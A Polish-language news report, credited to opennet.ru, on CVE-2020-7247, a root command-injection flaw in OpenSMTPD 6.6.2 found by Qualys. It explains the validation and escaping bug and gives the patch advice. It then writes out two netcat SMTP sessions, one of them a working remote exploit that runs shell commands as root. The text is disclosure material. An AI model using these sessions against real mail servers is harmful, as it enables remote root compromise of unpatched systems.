W rozwijanym projekcie serwera pocztowego OpenBSD wykryto (CVE-2020-7247), który umożliwia zdalne wykonanie poleceń shell na serwerze z uprawnieniami użytkownika root. Lukę wykryto podczas ponownego audytu przeprowadzonego przez firmę Qualys Security (poprzedni audyt OpenSMTPD w 2015 roku, a nowa luka istnieje od maja 2018 roku). Problem dotyczy wydania OpenSMTPD 6.6.2. Wszystkim użytkownikom zaleca się pilne wprowadzenie aktualizacji (dla OpenBSD poprawkę można zainstalować za pomocą syspatch).
Zapewniono dwa warianty ataku. Pierwsza metoda działa w domyślnej konfiguracji OpenSMTPD (przyjmowanie żądań tylko z localhost) i pozwala na lokalne wykorzystanie problemu, kiedy atakujący ma możliwość dostępu do lokalnego interfejsu sieciowego (loopback) na serwerze (np. w systemach hostingowych). Drugi wariant występuje przy ustawieniu OpenSMTPD do przyjmowania zewnętrznych żądań sieciowych (serwer pocztowy, który przyjmuje wiadomości od stron trzecich). Badacze przygotowali prototyp exploit'a, który skutecznie działa zarówno z wersją OpenSMTPD z OpenBSD 6.6, jak i z przenośną wersją dla innych systemów operacyjnych (przetestowano w Debian Testing).
Problem jest spowodowany błędem w funkcji smtp_mailaddr(), wywoływanej do weryfikacji poprawności wartości w polach „MAIL FROM” i „RCPT TO”, określających nadawcę/odbiorcę i przesyłanych w trakcie połączenia z serwerem pocztowym. Do sprawdzenia części adresu e-mail, która preceduje symbol „@”, w smtp_mailaddr() wywoływana jest funkcja
valid_localpart(), która uznaje za dozwolone (MAILADDR_ALLOWED) symbole „!#$%&’*?/^`{|}~+-=_”, zgodnie z wymaganiami RFC 5322.
Bezpośrednie ekrany znaków są realizowane w funkcji mda_expand_token(), która zamienia tylko symbole „!#$%&’*?`{|}~” (MAILADDR_ESCAPE). Następnie przygotowany w mda_expand_token() ciąg używany jest przy wywołaniu agenta doręczenia (MDA) za pomocą polecenia 'execle("/bin/sh", "/bin/sh", "-c", mda_command,…'. W przypadku umieszczania wiadomości w mbox za pomocą /bin/sh uruchamiana jest linia " /usr/libexec/mail.local -f %%{mbox.from} %%{user.username}", w której wartość „%{mbox.from}” zawiera ekranowane dane z parametru „MAIL FROM”.
Istota podatności polega na tym, że smtp_mailaddr() ma błąd logiczny, przez który w przypadku przesyłania pustej domeny w adresie e-mail funkcja zwraca pozytywny kod walidacji, nawet jeśli część przed „@” zawiera nieprawidłowe znaki. Następnie podczas przygotowywania ciągu przez funkcję mda_expand_token() nie są eskalowane wszystkie możliwe znaki specjalne shell, a tylko te, które są dozwolone w adresie e-mail. W ten sposób do uruchomienia swojej komendy wystarczy użyć w lokalnej części e-maila znaku „;” i spacji, które nie są w zestawie MAILADDR_ESCAPE i nie są eskalowane. Na przykład:
$ nc 127.0.0.1 25
HELO professor.falken
MAIL FROM:<;sleep 66;>
RCPT TO:<root>
DANE
.
QUIT
Po tej sesji OpenSMTPD podczas dostarczania do mbox uruchomi przez shell komendę
/usr/libexec/mail.local -f ;sleep 66; root
Jednak możliwości ataku są ograniczone tym, że lokalna część adresu nie może przekraczać 64 znaków, a znaki specjalne ‘$’ i ‘|’ są zastępowane przez „:” podczas eskalacji. Aby obejść to ograniczenie, wykorzystano fakt, że treść wiadomości jest przesyłana po uruchomieniu /usr/libexec/mail.local przez strumień wejściowy, czyli poprzez manipulacje z adresem można uruchomić tylko interpreter poleceń sh i użyć treści wiadomości jako zestawu instrukcji. Ponieważ na początku wiadomości podawane są nagłówki SMTP, aby je pominąć, proponuje się użycie wywołania komendy read w pętli. Działająca eksploitacja zyskuje mniej więcej taki wygląd:
$ nc 192.168.56.143 25
HELO professor.falken
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
RCPT TO:<root@example.org>
DANE
#0
#1
…
#d
for i in W O P R; do
echo -n „($i) ” && id || break
done > /root/x.»`id -u`».»$$»
.
QUIT
Źródło: opennet.ru
